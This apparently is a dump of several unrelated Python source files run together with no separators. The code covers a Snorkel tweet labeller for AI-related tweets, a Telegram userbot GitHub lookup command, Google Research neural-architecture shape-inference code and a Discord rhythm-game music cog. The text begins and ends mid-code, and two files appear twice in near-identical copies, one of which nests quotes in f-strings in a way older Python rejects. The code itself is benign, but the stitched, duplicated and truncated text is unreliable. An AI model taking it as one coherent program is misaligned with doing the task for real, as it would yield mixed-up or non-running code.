group["text"].apply(lambda x: SSPTweetLabeller.is_ai_tweet(x)) # print_info("\n".join(group[group["label"]==1]["text"].tolist()[:100]))
#!/usr/bin/env python __author__ = "Mageswaran Dhandapani" __copyright__ = "Copyright 2020, The Spark Structured Playground Project" __credits__ = [] __license__ = "Apache License" __version__ = "2.0" __maintainer__ = "Mageswaran Dhandapani" __email__ = "mageswaran1989@gmail.com" __status__ = "Education Purpose" import pandas as pd import gin from sklearn.base import BaseEstimator, TransformerMixin import nltk from snorkel.labeling import labeling_function from snorkel.labeling import LFApplier from snorkel.labeling import LFAnalysis from snorkel.labeling import LabelModel from ssp.logger.pretty_print import print_error from ssp.logger.pretty_print import print_info from ssp.posgress.dataset_base import PostgresqlDatasetBase from ssp.utils.ai_key_words import AIKeyWords class SSPTweetLabeller(BaseEstimator, TransformerMixin): """ Snorkel Transformer uses LFs to train a Label Model, that can annotate AI text and non AI text :param input_col: Name of the input text column if Dataframe is used :param output_col: Name of the ouput label column if Dataframe is used """ # Set voting values. # all other tweets ABSTAIN = -1 # tweets that talks about science, AI, data POSITIVE = 1 # tweets that are not NEGATIVE = 0 def __init__(self, input_col="text", output_col="slabel"): # LFs needs to be static or normal function self._labelling_functions = [self.is_ai_tweet, self.is_not_ai_tweet, self.not_data_science, self.not_neural_network, self.not_big_data, self.not_nlp, self.not_ai, self.not_cv] self._input_col = input_col self._output_col = output_col self._list_applier = LFApplier(lfs=self._labelling_functions) self._label_model = LabelModel(cardinality=2, verbose=True) def fit(self, X, y=None): """ :param X: (Dataframe) / (List) Input text :param y: None :return: Numpy Array [num of samples, num of LF functions] """ if isinstance(X, str): X = [X] if isinstance(X, pd.DataFrame): text_list = X[self._input_col] X_labels = self._list_applier.apply(text_list) print_info(LFAnalysis(L=X_labels, lfs=self._labelling_functions).lf_summary()) print_info("Training LabelModel") self._label_model.fit(L_train=X_labels, n_epochs=500, log_freq=100, seed=42) elif isinstance(X, list): X_labels = self._list_applier.apply(X) print_info(LFAnalysis(L=X_labels, lfs=self._labelling_functions).lf_summary()) print_info("Training LabelModel") self._label_model.fit(L_train=X_labels, n_epochs=500, log_freq=100, seed=42) else: raise RuntimeError("Unknown type...") return self def normalize_prob(self, res): return [1 if r > 0.5 else 0 for r in res] def transform(self, X, y=None): if isinstance(X, pd.DataFrame): if self._input_col: res = self.predict(X[self._input_col])[:, 1] X[self._output_col] = self.normalize_prob(res) return X elif isinstance(X, list): res = self.predict(X)[:, 1] return self.normalize_prob(res) elif isinstance(X, str): res = self.predict([X])[:, 1] return self.normalize_prob(res)[0] def predict(self, X): return self._label_model.predict_proba(L=self._list_applier.apply(X)) def evaluate(self, X, y): if isinstance(X, list): X_labels = self._list_applier.apply(X) label_model_acc = self._label_model.score(L=X_labels, Y=y, tie_break_policy="random")[ "accuracy" ] print_info(LFAnalysis(L=X_labels, lfs=self._labelling_functions).lf_summary()) print(f"{'Label Model Accuracy:':<25} {label_model_acc * 100:.1f}%") elif isinstance(X, pd.DataFrame): text_list = X[self._input_col] X_labels = self._list_applier.apply(text_list) label_model_acc = self._label_model.score(L=X_labels, Y=y, tie_break_policy="random")[ "accuracy" ] print(f"{'Label Model Accuracy:':<25} {label_model_acc * 100:.1f}%") else: raise RuntimeError("Unknown type...") @staticmethod def positive_search(data, key_words): data = data.replace("#", "").replace("@", "") for keyword in key_words: if f' {keyword.lower()} ' in f' {data.lower()} ': return SSPTweetLabeller.POSITIVE return SSPTweetLabeller.ABSTAIN @staticmethod def negative_search(data, positive_keywords, false_positive_keywords): data = data.replace("#", "").replace("@", "") positive = False false_positive = False for keyword in positive_keywords: if f' {keyword.lower()} ' in f' {data.lower()} ': positive = True for keyword in false_positive_keywords: if f' {keyword.lower()} ' in f' {data.lower()} ': false_positive = True if false_positive and not positive: # print_info(data) return SSPTweetLabeller.NEGATIVE return SSPTweetLabeller.ABSTAIN @staticmethod def bigram_check(x, word1, word2): # Get bigrams and check tuple exists or not bigrm = list(nltk.bigrams(x.split())) bigrm = list(map(' '.join, bigrm)) count = 0 for pair in bigrm: if word1 in pair and word2 not in pair: count += 1 if count > 0: return SSPTweetLabeller.NEGATIVE else: return SSPTweetLabeller.ABSTAIN @staticmethod @labeling_function() def is_ai_tweet(x): return SSPTweetLabeller.positive_search(x, AIKeyWords.POSITIVE.split("|")) @staticmethod @labeling_function() def is_not_ai_tweet(x): return SSPTweetLabeller.negative_search(data=x, positive_keywords=AIKeyWords.POSITIVE.split("|"), false_positive_keywords=AIKeyWords.FALSE_POSITIVE.split("|")) @staticmethod @labeling_function() def not_data_science(x): return SSPTweetLabeller.bigram_check(x, "data", "science") @staticmethod @labeling_function() def not_neural_network(x): return SSPTweetLabeller.bigram_check(x, "neural", "network") @staticmethod @labeling_function() def not_big_data(x): return SSPTweetLabeller.bigram_check(x, "big", "data") @staticmethod @labeling_function() def not_nlp(x): return SSPTweetLabeller.bigram_check(x, "natural", "language") @staticmethod @labeling_function() def not_ai(x): return SSPTweetLabeller.bigram_check(x, "artificial", "intelligence") @staticmethod @labeling_function() def not_cv(x): return SSPTweetLabeller.bigram_check(x, "computer", "vision") @gin.configurable class SSPLabelEvaluator(PostgresqlDatasetBase): def __init__(self, text_column="text", label_column="label", raw_tweet_table_name_prefix="raw_tweet_dataset", postgresql_host="localhost", postgresql_port="5432", postgresql_database="sparkstreamingdb", postgresql_user="sparkstreaming", postgresql_password="sparkstreaming"): PostgresqlDatasetBase.__init__(self, text_column=text_column, label_output_column=label_column, raw_tweet_table_name_prefix=raw_tweet_table_name_prefix, postgresql_host=postgresql_host, postgresql_port=postgresql_port, postgresql_database=postgresql_database, postgresql_user=postgresql_user, postgresql_password=postgresql_password) self._snorkel_labeler = SSPTweetLabeller() def run_labeler(self, version=0): raw_tweet_dataset_df_deduplicated, test_df, dev_df, \ snorkel_train_df, train_df = self.get_processed_datasets(version=version) self._snorkel_labeler.fit(snorkel_train_df) self._snorkel_labeler.evaluate(test_df, test_df[self._label_output_column]) # snorkel_train_df["label"] = snorkel_train_df["text"].apply(lambda x: SSPTweetLabeller.is_ai_tweet(x)) # print_info(snorkel_train_df["label"].value_counts()) # print_error(snorkel_train_df[snorkel_train_df["label"]==0]["text"].tolist()[:10]) # print_info(snorkel_train_df[snorkel_train_df["label"]==1]["text"].tolist()[:10]) # res = self._snorkel_labeler.predict(train_df[self._text_column]) # res = res[:, 1] # res = [1 if r >= 0.5 else 0 for r in res] # print_error(train_df.shape[0]) # print_info(sum(res)) # train_df["snorkel_label"] = res # for label, group in train_df[["text", "snorkel_label"]].groupby("snorkel_label"): # if label == 1: # print(label) # print_info(group.shape[0]) # group.reset_index(inplace=True) # # print_info("\n".join(group["text"].tolist()[:10])) # group["label"] = group["text"].apply(lambda x: SSPTweetLabeller.is_ai_tweet(x)) # print_info("\n".join(group[group["label"]==1]["text"].tolist()[:100]))
import aiohttp from userbot import CMD_HELP from userbot.events import register @register(pattern=r".git (.*)", outgoing=True) async def github(event): URL = f"https://api.github.com/users/{event.pattern_match.group(1)}" await event.get_chat() async with aiohttp.ClientSession() as session: async with session.get(URL) as request: if request.status == 404: return await event.reply( "`" + event.pattern_match.group(1) + " not found`" ) result = await request.json() url = result.get("html_url", None) name = result.get("name", None) company = result.get("company", None) bio = result.get("bio", None) created_at = result.get("created_at", "Not Found") REPLY = ( f"GitHub Info for `{event.pattern_match.group(1)}`" f"\nUsername: `{name}`\nBio: `{bio}`\nURL: {url}" f"\nCompany: `{company}`\nCreated at: `{created_at}`" ) if not result.get("repos_url", None): return await event.edit(REPLY) async with session.get(result.get("repos_url", None)) as request: result = request.json if request.status == 404: return await event.edit(REPLY) result = await request.json() REPLY += "\nRepos:\n" for nr, _ in enumerate(result): REPLY += f"[{result[nr].get("name", None)}]({result[nr].get("html_url", None)})\n" await event.edit(REPLY) CMD_HELP.update( {"git": ">`.git <username>`" "\nUsage: Like .whois but for GitHub usernames."} )
import aiohttp from userbot import CMD_HELP from userbot.events import register @register(pattern=r".git (.*)", outgoing=True) async def github(event): URL = f"https://api.github.com/users/{event.pattern_match.group(1)}" await event.get_chat() async with aiohttp.ClientSession() as session: async with session.get(URL) as request: if request.status == 404: return await event.reply( "`" + event.pattern_match.group(1) + " not found`" ) result = await request.json() url = result.get("html_url", None) name = result.get("name", None) company = result.get("company", None) bio = result.get("bio", None) created_at = result.get("created_at", "Not Found") REPLY = ( f"GitHub Info for `{event.pattern_match.group(1)}`" f"\nUsername: `{name}`\nBio: `{bio}`\nURL: {url}" f"\nCompany: `{company}`\nCreated at: `{created_at}`" ) if not result.get("repos_url", None): return await event.edit(REPLY) async with session.get(result.get("repos_url", None)) as request: result = request.json if request.status == 404: return await event.edit(REPLY) result = await request.json() REPLY += "\nRepos:\n" for nr, _ in enumerate(result): REPLY += f"[{result[nr].get('name', None)}]({result[nr].get('html_url', None)})\n" await event.edit(REPLY) CMD_HELP.update( {"git": ">`.git <username>`" "\nUsage: Like .whois but for GitHub usernames."} )
# coding=utf-8 # Copyright 2022 The Google Research Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """The shape abstract property.""" from __future__ import annotations import copy import random from typing import Any, Dict, Optional, Sequence import jax from abstract_nas.abstract import base from abstract_nas.model import Model from abstract_nas.model.concrete import Op from abstract_nas.model.subgraph import SubgraphModel Tensor = Any class _ShapeModel(Model): """Model class for shape abstract inference.""" max_size: int = 0 def exec_op(self, op, input_values, deterministic, training, **_): output_values = super().exec_op(op, input_values, deterministic, training) for idx, output_value in enumerate(output_values): output_size = output_value.size output_name = f"{op.op_kwargs["name"]}:{idx}" if self.max_size and output_size > self.max_size: raise RuntimeError(f"Output {output_name} has size {output_size}, " f"max_size {self.max_size} exceeded") return output_values class ShapeModel(): """Wrapper class for shape abstract inference.""" def __init__(self, model, max_size = 0): self.model = _ShapeModel(model.graph, model.constants, max_size=max_size) def apply(self, input_values, state = None): if state is None: output_values, _ = jax.eval_shape(self.model.init_with_output, jax.random.PRNGKey(0), input_values) else: output_values = jax.eval_shape(self.model.apply, state, input_values) return output_values class GraphShapes(base.AbstractGraphProperty): """Data structure for tracking the shapes in a graph.""" def __init__(self, input_shapes, output_shapes): self.input_shapes = input_shapes self.output_shapes = output_shapes @classmethod def _infer_abstract(cls, model, input_values, state = None, intermediates = False, input_intermediate_values = None, max_size = 0): """Infers the shapes of a model given input values (and optional state). Args: model: model for execution. input_values: inputs (for shape inference). state: the state of the model. intermediates: whether to infer the intermediate tensor shapes as well. input_intermediate_values: Any tensors to help with constant resolution. max_size: the maximum size of any intermediate tensor. Returns: The inferred GraphShapes. Raises: RuntimeError: if the model cannot be executed (or is otherwise malformed). """ if intermediates: old_output_names = list(model.graph.output_names) model.graph.output_names = [] # get all intermediate shapes input_values = dict(input_values) if input_intermediate_values: input_values.update(input_intermediate_values) input_shapes = { input_name: input_values[input_name].shape for input_name in input_values.keys() } shape_model = ShapeModel(model, max_size=max_size) try: output_shapes = shape_model.apply(input_values, state) except Exception as e: # pylint: disable=broad-except if "max_size" in str(e): raise e else: raise RuntimeError(f"Malformed graph ({type(e).__name__}: {e}).") from e if intermediates: model.graph.output_names = old_output_names for output_name in old_output_names: if ":" not in output_name: output_shapes[f"{output_name}"] = output_shapes[f"{output_name}:0"] del output_shapes[f"{output_name}:0"] output_shapes = {k: v.shape for k, v in output_shapes.items()} return GraphShapes(input_shapes, output_shapes) @classmethod def _infer_concrete(cls, model, input_values, state, intermediates = False, input_intermediate_values = None, max_size = 0): # The abstract inference is exact return GraphShapes._infer_abstract(model, input_values, state, intermediates, input_intermediate_values, max_size) @classmethod def infer( cls, model, input_values, state = None, intermediates = False, input_intermediate_values = None, abstract = True, # pylint: disable=unused-argument max_size = 0): """Infers the shapes of the model.""" # The abstract inference is exact return cls._infer_abstract(model, input_values, state, intermediates, input_intermediate_values, max_size) class ShapeProperty(base.AbstractProperty): """Specifies the shapes of the input / output tensor(s) of a computation graph. This property specifies the shapes of the input and output tensor(s) for a specific instantiation of a computation graph, i.e., even if the computation graph supports variable input shapes (like batch dimension), this property only specifies the input and output shapes for a specific batch of inputs. Attributes: graph_shapes: the shape property of the graph. """ def __init__(self, graph_shapes = None, p = 0.0, safety_only = False, input_values = None): super().__init__(p=p, safety_only=safety_only, input_values=input_values) self._graph_shapes: Optional[GraphShapes] = graph_shapes @property def input_shapes(self): return self._graph_shapes.input_shapes @property def output_shapes(self): return self._graph_shapes.output_shapes @classmethod def infer_inputs( cls, subgraph_model, abstract = True, input_values = None ): """Infers the input shapes of the subgraph.""" input_values = input_values if input_values else subgraph_model.inputs if subgraph_model.subg_inputs_model is not None: input_shapes = GraphShapes.infer( subgraph_model.subg_inputs_model, input_values, abstract=abstract) input_shapes = input_shapes.output_shapes else: # no subgraph input_shapes = { input_name: input_tensor.shape for input_name, input_tensor in input_values.items() } return input_shapes @classmethod def infer_outputs( cls, subgraph_model, max_size = 0, intermediates = False, abstract = True, input_values = None ): """Infers the output shapes of the subgraph.""" input_values = input_values if input_values else subgraph_model.inputs output_shapes = GraphShapes.infer( subgraph_model.subg_outputs_model, input_values, intermediates=intermediates, abstract=abstract, max_size=max_size) return output_shapes.output_shapes def infer(self, subgraph_model, max_size = 0, intermediates = False, abstract = True): """Infers the shape property of a subgraph, given some inputs.""" input_shapes = self.infer_inputs(subgraph_model, abstract, self.input_values) output_shapes = self.infer_outputs(subgraph_model, max_size, intermediates, abstract, self.input_values) # the rewiring should also be reflected for node in subgraph_model.subgraph: if not node.output_names: continue for idx, output_name in enumerate(node.output_names): if output_name in output_shapes.keys(): continue node_output_name = f"{node.op.name}:{idx}" if node_output_name in output_shapes.keys() and node.output_names[idx]: output_shapes[output_name] = output_shapes[node_output_name] graph_shapes = GraphShapes(input_shapes, output_shapes) return ShapeProperty(graph_shapes, self.p, self.safety_only, self.input_values) def mutate(self): """Mutates the shape property.""" new_prop = copy.deepcopy(self) for key in list(new_prop.output_shapes.keys()): if random.random() < self.p: del new_prop.output_shapes[key] return new_prop def distance_from(self, other): """Returns the distance to self from the other ShapeProperty. In general, we will assume that all tensors have the form: (batch_dim, [s1, s2, ...], feature_dim) where s1, s2, etc. are spatial dimensions. In particular, all tensors are at least 2 dimensional (though the dimensions may be singular). We make the assumption that the spatial dimensions can only decrease, and also only decrease by integer multiplicative factors. That is, there is no "super-resolution" occurring. The distance is defined as: - UNDEFINED if the input and output names do not match, - UNDEFINED if the input shapes do not match, - UNDEFINED if the number of dimensions do not match, - UNDEFINED if there is a pair of dimensions such that self dimension is not an integer multiplicative factor of other dimension - the number of mismatched dimensions otherwise. Note that this definition makes it difficult to support operations that change the number of dimensions (e.g., reshape, or generalized einsum-type operations). Args: other: The other ShapeProperty property. Returns: The distance. Raises: ValueError if the distance is undefined. """ # Inputs must match exactly in name and shapes. if len(self.input_shapes) != len(other.input_shapes): raise ValueError for input_name, input_shape in self.input_shapes.items(): if input_name not in other.input_shapes: raise ValueError if input_shape != other.input_shapes[input_name]: raise ValueError if not self.output_shapes: return 0 dist = 0 # Check all outputs in self. # Note that other is allowed to produce extraneous outputs. for output_name, output_shape in self.output_shapes.items(): # All tensors are at least dim 2. assert len(output_shape) >= 2 # Other must produce all the outputs that self does. if output_name not in other.output_shapes: raise ValueError other_shape = other.output_shapes[output_name] # These outputs must also have the same number of dims. if len(other_shape) != len(output_shape): raise ValueError # Batch dimensions must be equal. if output_shape[0] != other_shape[0]: raise ValueError # Check spatial dims. # 1. If all spatial dims are 1, then can use a squeeze pool. check_spatial = False for b in output_shape[1:-1]: if b != 1: check_spatial = True break # 2. Otherwise, make sure there exists a pooling operation with a square # receptive field. if check_spatial: factor = None for a, b in zip(other_shape[1:-1], output_shape[1:-1]): if a % b != 0: raise ValueError if factor and a // b != factor: raise ValueError factor = a // b # Count mismatched dims. dist += sum( [a != b for a, b in zip(other_shape, output_shape)] ) / len(output_shape) if self.safety_only: return 0 return dist / len(self.output_shapes)
# coding=utf-8 # Copyright 2022 The Google Research Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """The shape abstract property.""" from __future__ import annotations import copy import random from typing import Any, Dict, Optional, Sequence import jax from abstract_nas.abstract import base from abstract_nas.model import Model from abstract_nas.model.concrete import Op from abstract_nas.model.subgraph import SubgraphModel Tensor = Any class _ShapeModel(Model): """Model class for shape abstract inference.""" max_size: int = 0 def exec_op(self, op, input_values, deterministic, training, **_): output_values = super().exec_op(op, input_values, deterministic, training) for idx, output_value in enumerate(output_values): output_size = output_value.size output_name = f"{op.op_kwargs['name']}:{idx}" if self.max_size and output_size > self.max_size: raise RuntimeError(f"Output {output_name} has size {output_size}, " f"max_size {self.max_size} exceeded") return output_values class ShapeModel(): """Wrapper class for shape abstract inference.""" def __init__(self, model, max_size = 0): self.model = _ShapeModel(model.graph, model.constants, max_size=max_size) def apply(self, input_values, state = None): if state is None: output_values, _ = jax.eval_shape(self.model.init_with_output, jax.random.PRNGKey(0), input_values) else: output_values = jax.eval_shape(self.model.apply, state, input_values) return output_values class GraphShapes(base.AbstractGraphProperty): """Data structure for tracking the shapes in a graph.""" def __init__(self, input_shapes, output_shapes): self.input_shapes = input_shapes self.output_shapes = output_shapes @classmethod def _infer_abstract(cls, model, input_values, state = None, intermediates = False, input_intermediate_values = None, max_size = 0): """Infers the shapes of a model given input values (and optional state). Args: model: model for execution. input_values: inputs (for shape inference). state: the state of the model. intermediates: whether to infer the intermediate tensor shapes as well. input_intermediate_values: Any tensors to help with constant resolution. max_size: the maximum size of any intermediate tensor. Returns: The inferred GraphShapes. Raises: RuntimeError: if the model cannot be executed (or is otherwise malformed). """ if intermediates: old_output_names = list(model.graph.output_names) model.graph.output_names = [] # get all intermediate shapes input_values = dict(input_values) if input_intermediate_values: input_values.update(input_intermediate_values) input_shapes = { input_name: input_values[input_name].shape for input_name in input_values.keys() } shape_model = ShapeModel(model, max_size=max_size) try: output_shapes = shape_model.apply(input_values, state) except Exception as e: # pylint: disable=broad-except if "max_size" in str(e): raise e else: raise RuntimeError(f"Malformed graph ({type(e).__name__}: {e}).") from e if intermediates: model.graph.output_names = old_output_names for output_name in old_output_names: if ":" not in output_name: output_shapes[f"{output_name}"] = output_shapes[f"{output_name}:0"] del output_shapes[f"{output_name}:0"] output_shapes = {k: v.shape for k, v in output_shapes.items()} return GraphShapes(input_shapes, output_shapes) @classmethod def _infer_concrete(cls, model, input_values, state, intermediates = False, input_intermediate_values = None, max_size = 0): # The abstract inference is exact return GraphShapes._infer_abstract(model, input_values, state, intermediates, input_intermediate_values, max_size) @classmethod def infer( cls, model, input_values, state = None, intermediates = False, input_intermediate_values = None, abstract = True, # pylint: disable=unused-argument max_size = 0): """Infers the shapes of the model.""" # The abstract inference is exact return cls._infer_abstract(model, input_values, state, intermediates, input_intermediate_values, max_size) class ShapeProperty(base.AbstractProperty): """Specifies the shapes of the input / output tensor(s) of a computation graph. This property specifies the shapes of the input and output tensor(s) for a specific instantiation of a computation graph, i.e., even if the computation graph supports variable input shapes (like batch dimension), this property only specifies the input and output shapes for a specific batch of inputs. Attributes: graph_shapes: the shape property of the graph. """ def __init__(self, graph_shapes = None, p = 0.0, safety_only = False, input_values = None): super().__init__(p=p, safety_only=safety_only, input_values=input_values) self._graph_shapes: Optional[GraphShapes] = graph_shapes @property def input_shapes(self): return self._graph_shapes.input_shapes @property def output_shapes(self): return self._graph_shapes.output_shapes @classmethod def infer_inputs( cls, subgraph_model, abstract = True, input_values = None ): """Infers the input shapes of the subgraph.""" input_values = input_values if input_values else subgraph_model.inputs if subgraph_model.subg_inputs_model is not None: input_shapes = GraphShapes.infer( subgraph_model.subg_inputs_model, input_values, abstract=abstract) input_shapes = input_shapes.output_shapes else: # no subgraph input_shapes = { input_name: input_tensor.shape for input_name, input_tensor in input_values.items() } return input_shapes @classmethod def infer_outputs( cls, subgraph_model, max_size = 0, intermediates = False, abstract = True, input_values = None ): """Infers the output shapes of the subgraph.""" input_values = input_values if input_values else subgraph_model.inputs output_shapes = GraphShapes.infer( subgraph_model.subg_outputs_model, input_values, intermediates=intermediates, abstract=abstract, max_size=max_size) return output_shapes.output_shapes def infer(self, subgraph_model, max_size = 0, intermediates = False, abstract = True): """Infers the shape property of a subgraph, given some inputs.""" input_shapes = self.infer_inputs(subgraph_model, abstract, self.input_values) output_shapes = self.infer_outputs(subgraph_model, max_size, intermediates, abstract, self.input_values) # the rewiring should also be reflected for node in subgraph_model.subgraph: if not node.output_names: continue for idx, output_name in enumerate(node.output_names): if output_name in output_shapes.keys(): continue node_output_name = f"{node.op.name}:{idx}" if node_output_name in output_shapes.keys() and node.output_names[idx]: output_shapes[output_name] = output_shapes[node_output_name] graph_shapes = GraphShapes(input_shapes, output_shapes) return ShapeProperty(graph_shapes, self.p, self.safety_only, self.input_values) def mutate(self): """Mutates the shape property.""" new_prop = copy.deepcopy(self) for key in list(new_prop.output_shapes.keys()): if random.random() < self.p: del new_prop.output_shapes[key] return new_prop def distance_from(self, other): """Returns the distance to self from the other ShapeProperty. In general, we will assume that all tensors have the form: (batch_dim, [s1, s2, ...], feature_dim) where s1, s2, etc. are spatial dimensions. In particular, all tensors are at least 2 dimensional (though the dimensions may be singular). We make the assumption that the spatial dimensions can only decrease, and also only decrease by integer multiplicative factors. That is, there is no "super-resolution" occurring. The distance is defined as: - UNDEFINED if the input and output names do not match, - UNDEFINED if the input shapes do not match, - UNDEFINED if the number of dimensions do not match, - UNDEFINED if there is a pair of dimensions such that self dimension is not an integer multiplicative factor of other dimension - the number of mismatched dimensions otherwise. Note that this definition makes it difficult to support operations that change the number of dimensions (e.g., reshape, or generalized einsum-type operations). Args: other: The other ShapeProperty property. Returns: The distance. Raises: ValueError if the distance is undefined. """ # Inputs must match exactly in name and shapes. if len(self.input_shapes) != len(other.input_shapes): raise ValueError for input_name, input_shape in self.input_shapes.items(): if input_name not in other.input_shapes: raise ValueError if input_shape != other.input_shapes[input_name]: raise ValueError if not self.output_shapes: return 0 dist = 0 # Check all outputs in self. # Note that other is allowed to produce extraneous outputs. for output_name, output_shape in self.output_shapes.items(): # All tensors are at least dim 2. assert len(output_shape) >= 2 # Other must produce all the outputs that self does. if output_name not in other.output_shapes: raise ValueError other_shape = other.output_shapes[output_name] # These outputs must also have the same number of dims. if len(other_shape) != len(output_shape): raise ValueError # Batch dimensions must be equal. if output_shape[0] != other_shape[0]: raise ValueError # Check spatial dims. # 1. If all spatial dims are 1, then can use a squeeze pool. check_spatial = False for b in output_shape[1:-1]: if b != 1: check_spatial = True break # 2. Otherwise, make sure there exists a pooling operation with a square # receptive field. if check_spatial: factor = None for a, b in zip(other_shape[1:-1], output_shape[1:-1]): if a % b != 0: raise ValueError if factor and a // b != factor: raise ValueError factor = a // b # Count mismatched dims. dist += sum( [a != b for a, b in zip(other_shape, output_shape)] ) / len(output_shape) if self.safety_only: return 0 return dist / len(self.output_shapes)
import datetime import enum import logging import re from dataclasses import dataclass from io import BytesIO from typing import Tuple, Any import discord from d4dj_utils.chart.chart import Chart from d4dj_utils.chart.mix import get_best_mix, get_mix_data, calculate_mix_rating from d4dj_utils.chart.score_calculator import calculate_score from d4dj_utils.master.chart_master import ChartDifficulty from d4dj_utils.master.music_master import MusicMaster from d4dj_utils.master.skill_master import SkillMaster from discord import AllowedMentions from discord.ext import commands from miyu_bot.bot.bot import MiyuBot, PrefContext from miyu_bot.commands.common.argument_parsing import parse_arguments, ParsedArguments from miyu_bot.commands.master_filter.localization_manager import LocalizationManager class Music(commands.Cog): bot: MiyuBot CUSTOM_MIX_MIN_LIFETIME = 3600 # Minimum amount of time in seconds before a custom mix is removed def __init__(self, bot): self.bot = bot self.logger = logging.getLogger(__name__) self.custom_mixes = {} self.l10n = LocalizationManager(self.bot.fluent_loader, 'music.ftl') difficulty_names = { 'expert': ChartDifficulty.Expert, 'hard': ChartDifficulty.Hard, 'normal': ChartDifficulty.Normal, 'easy': ChartDifficulty.Easy, 'expt': ChartDifficulty.Expert, 'norm': ChartDifficulty.Normal, 'exp': ChartDifficulty.Expert, 'hrd': ChartDifficulty.Hard, 'nrm': ChartDifficulty.Normal, 'esy': ChartDifficulty.Easy, 'ex': ChartDifficulty.Expert, 'hd': ChartDifficulty.Hard, 'nm': ChartDifficulty.Normal, 'es': ChartDifficulty.Easy, } @commands.command(name='score', aliases=[], description='Calculates chart score.', help='!score Cyber Cyber diff=ex power=150000 acc=100 skill=50 $assist') async def score(self, ctx: PrefContext, *, arguments: ParsedArguments): def format_skill(skill): if skill.score_up_rate and skill.perfect_score_up_rate: return f'{skill.score_up_rate}%+{skill.perfect_score_up_rate}%p' elif skill.score_up_rate: return f'{skill.score_up_rate}%' elif skill.perfect_score_up_rate: return f'{skill.perfect_score_up_rate}%p' else: return f'0%' difficulty = arguments.single(['diff', 'difficulty'], default=None, converter=self.difficulty_names) power = arguments.single('power', default=150000, converter=lambda p: int(p)) accuracy = arguments.single(['acc', 'accuracy'], default=100, converter=lambda a: float(a)) skill = arguments.single(['skill', 'skills'], default=['40'], is_list=True) assist = arguments.tag('assist') random_skill_order = arguments.tags(['rng', 'randomorder', 'random_order']) if difficulty: song_name = arguments.text() else: song_name, difficulty = self.parse_chart_args(arguments.text()) arguments.require_all_arguments_used() if song_name.lower() == 'mix': data = self.custom_mixes.get(ctx.author.id) if not data: await ctx.send('No recent user mix found. Use the mix command to create one.') return chart = data.chart title = 'Mix Score:\n' + data.name else: song = self.bot.master_filters.music.get(song_name, ctx) if not song: await ctx.send(f'Failed to find chart.') return if not song.charts: await ctx.send('Song does not have charts.') return chart = song.charts[difficulty] title = f'Song Score: {song.name} [{chart.difficulty.name}]' if not (0 <= accuracy <= 100): await ctx.send('Accuracy must be between 0 and 100.') return accuracy /= 100 skill_re = re.compile(r'\d{1,3}(\.\d+)?%?|\d{1,3}(\.\d+)?%?\+\d{1,3}(\.\d+)?%?p|\d{1,3}(\.\d+)?%?p') def create_dummy_skill(score, perfect): return SkillMaster( ctx.assets, id=0, min_recovery_value=0, max_recovery_value=0, combo_support_count=0, score_up_rate=float(score), min_seconds=5, max_seconds=9, perfect_score_up_rate=float(perfect), ) skills = [] for s in skill: if skill_re.fullmatch(s): effects = [(e[:-1] if e[-1] == '%' else e) for e in s.split('+')] skills.append(create_dummy_skill(next((e for e in effects if not e.endswith('p')), 0), next((e[:-1] for e in effects if e.endswith('p')), 0))) else: await ctx.send('Invalid skill format.') return if len(skills) == 1: skills = skills * 5 if len(skills) == 4: skills = skills + [skills[0]] if len(skills) != 5: await ctx.send('Invalid skill count.') return if random_skill_order: # Score calc doesn't care that these aren't actually ints mean_score_up: Any = sum(s.score_up_rate for s in skills[:4]) / 4 mean_perfect_score_up: Any = sum(s.perfect_score_up_rate for s in skills[:4]) / 4 avg_skill = SkillMaster( ctx.assets, id=0, min_recovery_value=0, max_recovery_value=0, combo_support_count=0, score_up_rate=mean_score_up, min_seconds=5, max_seconds=9, perfect_score_up_rate=mean_perfect_score_up, ) skills = [avg_skill] * 4 + [skills[-1]] embed = discord.Embed(title=title, description=f'Power: {power:,}\n' f'Accuracy: {accuracy * 100:.1f}%\n' f'Skills: {', '.join(format_skill(skill) for skill in skills)}\n' f'Assist: {'On' if assist else 'Off'}\n' f'\u200b') baseline = None for heading, enable_fever, autoplay, enable_combo_bonus in [ ('Multi Live', True, False, True), ('Multi Live (No Combo)', True, False, False), ('Multi Live (Autoplay)', True, True, True), ('Solo Live / No Groovy', False, False, True), ('Solo Live (No Combo)', False, False, False), ('Solo Live (Autoplay)', False, True, True) ]: score = int(self.bot.chart_scorer(chart, power, skills, enable_fever, accuracy, assist, autoplay=autoplay, enable_combo_bonus=enable_combo_bonus)) if not baseline: baseline = score embed.add_field(name=heading, value=f'Score: {score:,}\n' f'Value: {score / baseline * 100:.1f}%' f'{f' ({(score - baseline) / baseline * 100:+.1f}%)' if score != baseline else ''}', inline=True) await ctx.send(embed=embed) def parse_chart_args(self, arg: str) -> Tuple[str, ChartDifficulty]: split_args = arg.split() difficulty = ChartDifficulty.Expert if len(split_args) >= 2: final_word = split_args[-1].lower() if final_word.lower() in self.difficulty_names: difficulty = self.difficulty_names[final_word.lower()] arg = ' '.join(split_args[:-1]) return arg, difficulty _music_durations = {} @commands.command(name='mixorder', aliases=['ordermix', 'mix_order', 'order_mix'], description='Finds order of songs when mixed.', help='!mixorder grgr grgr grgr "cyber cyber"') async def mix_order(self, ctx: commands.Context, a: str, b: str, c: str, d: str): songs = [] for name in [a, b, c, d]: song = self.bot.master_filters.music.get(name, ctx) if not song: await ctx.send(f'Unknown song "{name}".', allowed_mentions=AllowedMentions.none()) return if not song.mix_info: await ctx.send(f'Song "{song.name}" does not have mix enabled.') return songs.append(song) mix = get_best_mix(songs) mix_data = get_mix_data(mix) nl = '\n' embed = discord.Embed(title='Mix Order', description=f'```{nl.join(f'{i}. {self.format_song_title(song)}' for i, song in enumerate(mix, 1))}\n\n' f'Total Duration: {sum(md.duration for md in mix_data):.2f}s```') await ctx.send(embed=embed) @commands.command(name='mix', aliases=[], description='Creates a custom mix.', help='!mix grgr hard cyber hard puransu expert "cats eye" easy') async def mix(self, ctx: commands.Context, *args: 